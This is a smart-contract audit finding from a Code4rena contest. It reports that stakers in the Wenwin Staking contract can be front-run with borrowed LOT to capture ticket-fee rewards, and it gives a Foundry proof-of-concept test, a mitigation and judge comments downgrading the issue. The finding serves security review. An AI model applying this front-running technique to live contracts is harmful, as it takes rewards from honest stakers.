Attacker can unfairly profit from ticket fees by front-running `buyTickets()` transactions

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/staking/Staking.sol#L61-L63

Vulnerability details

Whenever an attacker sees a profitable buyTickets() transaction, they can front-run the transaction to temporarily borrow and stake LOT in the Staking contract, allowing them to unfairly gain profit from ticket fees.

Proof of Concept

In the Staking contract, users stake LOT tokens in exchange for stLOT tokens. They then accumulate rewardsToken generated by fees from ticket sales.

The distribution of rewardsToken for each staker is calculated using the earned() function:

Staking.sol#L61-L63:

function earned(address account) public view override returns (uint256 _earned) {
    return balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18 + rewards[account];
}

balanceOf(account) represents the amount of stLOT owned by account. Thus, the amount of rewards earned by each staker is proportional to the amount of stLOT they own.

The issue with the Staking contract is that users are not required to stake their LOT for a minimum duration before they can claim their rewards and unstake their LOT.

An attacker can abuse this by executing the following sequence:

• Attacker scans the mempool for a buyTickets() transaction purchasing a large number of tickets.
• Attacker front-runs the transaction, borrowing a large amount of LOT and calling stake() to stake the borrowed LOT.
• Due to front-running, the attacker's stake() transaction gets executed before the buyTickets() transaction.
• Now, when the buyTickets() transaction is processed, the attacker earns a large portion of rewards from ticket fees proportional to his staked amount.
• Attacker claims his rewards and unstakes his LOT by calling exit().
• Attacker repays the amount of LOT borrowed.

In the sequence above, the attacker profits from ticket fees without keeping their LOT in the Staking contract. Additionally, if the attacker borrows a large amount of LOT, the rewards for other stakers will be decreased significantly as their staked amount is much smaller compared to the attacker's.

The test below demonstrates this scenario:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./LotteryTestBase.sol";

contract StakingFrontRunTest is LotteryTestBase {
    IStaking public staking;
    ILotteryToken public stakingToken;

    address public constant STAKER = address(69);
    address public constant LENDER = address(70);
    address public constant ATTACKER = address(1337);

    function setUp() public override {
        // Initialize lottery
        super.setUp();

        // Get both staking and stakingToken contracts
        staking = IStaking(lottery.stakingRewardRecipient());
        stakingToken = ILotteryToken(address(lottery.nativeToken()));

        // Issue some LOT to STAKER and LENDER
        vm.startPrank(address(lottery));
        stakingToken.mint(STAKER, 5);
        stakingToken.mint(LENDER, 1000);
        vm.stopPrank();
    }

    function testFrontRunBuyTickets() public {
        // STAKER stakes 5 LOT
        vm.startPrank(STAKER);
        stakingToken.approve(address(staking), 5);
        staking.stake(5);
        vm.stopPrank();

        // Small amount of tickets are bought
        buySameTickets(lottery.currentDraw(), uint120(0x0F), address(0), 1);

        // ATTACKER sees a call to buyTickets() with large amount of tickets and front-runs it
        vm.prank(LENDER);
        stakingToken.transfer(ATTACKER, 1000); // Simulate ATTACKER borrows 1000 LOT

        vm.startPrank(ATTACKER);
        stakingToken.approve(address(staking), 1000);
        staking.stake(1000); // ATTACKER stakes 1000 LOT
        vm.stopPrank();

        // Large amount of tickets are bought while ATTACKER has 1000 LOT staked
        buySameTickets(lottery.currentDraw(), uint120(0x0F), address(0), 100);

        // ATTACKER claims rewards, withdraws his LOT and repays his loan
        vm.startPrank(ATTACKER);
        staking.exit();
        stakingToken.transfer(LENDER, 1000); // Simulate ATTACKER repays 1000 LOT
        vm.stopPrank();

        // STAKER claims rewards
        vm.prank(STAKER);        
        staking.getReward();

        // ATTACKER's profit is much larger compared to STAKER
        assertGt(rewardToken.balanceOf(ATTACKER), rewardToken.balanceOf(STAKER) * 65);
    }
}

Impact

By borrowing LOT and front-running, an attacker is able to steal a significant portion of rewards from the Staking contract without owning or staking any LOT for a prolonged duration.

Recommended Mitigation

Consider implementing a minimum staking period for each staker before they are able to call getReward() to retrieve their rewards. It should start/reset whenever a staker calls stake() as it changes the amount of LOT they have staked.

[c4-judge]

thereksfour marked the issue as duplicate of #479

[c4-judge]

thereksfour marked the issue as duplicate of #126

[c4-judge]

thereksfour changed the severity to QA (Quality Assurance)